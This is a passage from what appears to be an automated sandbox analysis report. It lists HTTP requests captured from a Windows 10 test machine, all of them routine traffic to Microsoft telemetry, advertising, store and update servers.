t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAd9178bnU4RKBi7AgTvtgZySoxeFBmjdfbecF3eX%2BW7mCzfWutu28MM%2Bl7SbjT7iqNiDxiWnzybuOA9LTqh/466Q3/gBn0KzBmeJKxh0rdayvStJzh/nFtemQyFZd3D4l2shbbUWZQhntsNiOQGvXdbYJGsFNb%2BjFZUM4Rew7C%2B4wms4gW5ZM4t35VYw6E/ich2RiMAKJ8aSxpg9sA4s8/r0Dgym6I7aLIo77oDvTPgO5fJBl4jf8UTVq853JiUPXMsaH69/TnhlYxmmVII%2B1y9GAg3MeJCEw0LGgjCZSrDAo2iTtsM0VcuOoibwFlVagb2fQMcuGVSHOFCg%2BMCJuLQDZgAACLzHcj/KhM8gqAFSwchQS/bSwPtRZMAe0N38BtrFsC88R04CGTGYeG/fTcJlz87F8b9i0/IGnLQcaowB9ou1Y7x8slgQycsKYfHn%2BHE14LpCYHc/yx0S1h9gAlnTELekTGzIv4hZaqtEXZ9oqbwhpktmHmWTH3xwgo89wmtQpRLhbo7zEq2emHgtT%2BOK4RhCSdfmbUo40Oza6hqv%2B08R16vRcECjtAZwNM%2B8Ki6qXBRMZJsHYYPlMGDGoFvcSzb6FCC9UWxwzwKqmjno0o3FFXRygNEGM8wLUAVL%2B/rJVNuZ%2BbPOL0g/xbYORdn9uMv2k/9g03VGX53pHnVRl2Lw2PXmLiKpC6tRYIAkXfLnsch8wnv%2Bf8ZsBG66pV7CeBbvP4QJxtqjI9fBn4GqT38ifGS0Lg%2BKvORF2WG3m387G09slzJgacQBPugcMhJb10950fd2k0GzTA%2BzV%2B3zBNWdEHea1T42Bwd4AwGNC3YWVCGcCJH3WZWrvPMLXHq3xBB36zQAWO%2B03Yp9cNJEiUxXf3y1HBo0It7VnYBYLbbN6y%2BYALdEkKCPsGFOWGPNpbqDScTJ1gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658403206User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: 7CE49D80A29C4452B1199C8FD5846D18X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113428Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=60520c8d9c22491db2798e676fbfd508&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-338387&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQZx/CfZMzWMR48Mi4HTLmtbZz4wzec82cvGKwQRlkq6KnvWaurjtanfeahrbSNX1KRAJTsO+QyRhIUPPETp7SjRygtQe0a8g/RnLIGQEE0ZcjGHk7SXo8Y3/MfqU0VYPt3WtmKinkbPp/gcnm34luTSTiD5EXt7mnMRZUClVwF0XGH3+7yftaX36EC67xAomKatOF1jwqCcQxMXPGn4ZU4CAGNyK55hyFcIFAqykcvh6CuyahHw+lVB1DM4IZl8PWn5u7weHtww4vyAy8jLJX5MkkcmuTW2L3oPtLisZHz+Gn4qS46unZzmoufvbEriLHmpSZnwIGTo/Hp01M+PP1ADZgAACNwkOdPOI45wqAHsK0JsbW+vfhVyRG5/sM3b9wljRt5oYm91uPT4HT7c/J7Wp9nnF6y5DKAq6GkHPLe4rjmcjJ2SPDpwtbm087CnFMr7R3sdySoRrTfO0lMYm3b6CDci0uTd1u1gKZNe6bAaniOcZOKFTdx6Pq1o+QcQPIJT6sr5/h0py0FcbshKsF8/qKzaM0+50OxQU2MLGqcwozQJyeNNriVWBJUVNW+mW4rX4v9hZEN8J28h0xVGrjoi8ipFi2ZcB7kvEPIhobY//rl1SoD78zH0wndYBtSxpySloZ5lRv2ZDRk5uA4D7Pf/FtYkAn4tdYTo/+4CaV04iRJ8dP5j4Gs6dEcueSlswE160aT+3vu3wF25PTm07NsSldRTq12kyyg5MUn/EqbWXe6sg7cLKfnAY60p0BzTIWBWQfvxQ71L4+bbtQyA90p8079byx5P2g6OqJioP5ZTE5B/n7fSicxQErQgMRhujT1ROMj8LQgeMrXkSsXHwymtldF8iZBj/YEfvtxAW/lYIKsENnU0SAt+/nHSE3olJxmi2H/rRzaPO3ti1We5HAYSCjv0m+q/1gE=&p=Cache-Control: no-cacheMS-CV: aHso6AePA0agNiRf.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113429Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=967c575fcaa545e8b023292634a6df93&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-338388&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQZx/CfZMzWMR48Mi4HTLmtbZz4wzec82cvGKwQRlkq6KnvWaurjtanfeahrbSNX1KRAJTsO+QyRhIUPPETp7SjRygtQe0a8g/RnLIGQEE0ZcjGHk7SXo8Y3/MfqU0VYPt3WtmKinkbPp/gcnm34luTSTiD5EXt7mnMRZUClVwF0XGH3+7yftaX36EC67xAomKatOF1jwqCcQxMXPGn4ZU4CAGNyK55hyFcIFAqykcvh6CuyahHw+lVB1DM4IZl8PWn5u7weHtww4vyAy8jLJX5MkkcmuTW2L3oPtLisZHz+Gn4qS46unZzmoufvbEriLHmpSZnwIGTo/Hp01M+PP1ADZgAACNwkOdPOI45wqAHsK0JsbW+vfhVyRG5/sM3b9wljRt5oYm91uPT4HT7c/J7Wp9nnF6y5DKAq6GkHPLe4rjmcjJ2SPDpwtbm087CnFMr7R3sdySoRrTfO0lMYm3b6CDci0uTd1u1gKZNe6bAaniOcZOKFTdx6Pq1o+QcQPIJT6sr5/h0py0FcbshKsF8/qKzaM0+50OxQU2MLGqcwozQJyeNNriVWBJUVNW+mW4rX4v9hZEN8J28h0xVGrjoi8ipFi2ZcB7kvEPIhobY//rl1SoD78zH0wndYBtSxpySloZ5lRv2ZDRk5uA4D7Pf/FtYkAn4tdYTo/+4CaV04iRJ8dP5j4Gs6dEcueSlswE160aT+3vu3wF25PTm07NsSldRTq12kyyg5MUn/EqbWXe6sg7cLKfnAY60p0BzTIWBWQfvxQ71L4+bbtQyA90p8079byx5P2g6OqJioP5ZTE5B/n7fSicxQErQgMRhujT1ROMj8LQgeMrXkSsXHwymtldF8iZBj/YEfvtxAW/lYIKsENnU0SAt+/nHSE3olJxmi2H/rRzaPO3ti1We5HAYSCjv0m+q/1gE=&p=Cache-Control: no-cacheMS-CV: aHso6AePA0agNiRf.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Ivzm?ver=ad40 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4IzXJ?ver=8fd8 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4RDT5?ver=690d HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4RyGF?ver=0d75 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220721T113517Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=54d84b3c19aa4e15bba4e2514f6b45c1&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1612301&metered=false&nettype=ethernet&npid=sc-310091&oemName=vtesnt%2C%20Inc.&oemid=vtesnt%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=vtesnt7%2C1&tl=2&tsu=1612301&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAQZx/CfZMzWMR48Mi4HTLmtbZz4wzec82cvGKwQRlkq6KnvWaurjtanfeahrbSNX1KRAJTsO+QyRhIUPPETp7SjRygtQe0a8g/RnLIGQEE0ZcjGHk7SXo8Y3/MfqU0VYPt3WtmKinkbPp/gcnm34luTSTiD5EXt7mnMRZUClVwF0XGH3+7yftaX36EC67xAomKatOF1jwqCcQxMXPGn4ZU4CAGNyK55hyFcIFAqykcvh6CuyahHw+lVB1DM4IZl8PWn5u7weHtww4vyAy8jLJX5MkkcmuTW2L3oPtLisZHz+Gn4qS46unZzmoufvbEriLHmpSZnwIGTo/Hp01M+PP1ADZgAACNwkOdPOI45wqAHsK0JsbW+vfhVyRG5/sM3b9wljRt5oYm91uPT4HT7c/J7Wp9nnF6y5DKAq6GkHPLe4rjmcjJ2SPDpwtbm087CnFMr7R3sdySoRrTfO0lMYm3b6CDci0uTd1u1gKZNe6bAaniOcZOKFTdx6Pq1o+QcQPIJT6sr5/h0py0FcbshKsF8/qKzaM0+50OxQU2MLGqcwozQJyeNNriVWBJUVNW+mW4rX4v9hZEN8J28h0xVGrjoi8ipFi2ZcB7kvEPIhobY//rl1SoD78zH0wndYBtSxpySloZ5lRv2ZDRk5uA4D7Pf/FtYkAn4tdYTo/+4CaV04iRJ8dP5j4Gs6dEcueSlswE160aT+3vu3wF25PTm07NsSldRTq12kyyg5MUn/EqbWXe6sg7cLKfnAY60p0BzTIWBWQfvxQ71L4+bbtQyA90p8079byx5P2g6OqJioP5ZTE5B/n7fSicxQErQgMRhujT1ROMj8LQgeMrXkSsXHwymtldF8iZBj/YEfvtxAW/lYIKsENnU0SAt+/nHSE3olJxmi2H/rRzaPO3ti1We5HAYSCjv0m+q/1gE=&p=Cache-Control: no-cacheMS-CV: 83Lf3wQPPUaCBYTY.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: tch0,m301,m751,mA01,mT01Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113430Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113436Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113437Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113438Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113440Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113441Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113441Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113443Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113444Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113445Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113447Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113448Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220721T113449Z&asid=8e1d346115d54b82b12368855488cdf3&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ3P2&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113459Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/installComplete?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113500Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113501Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
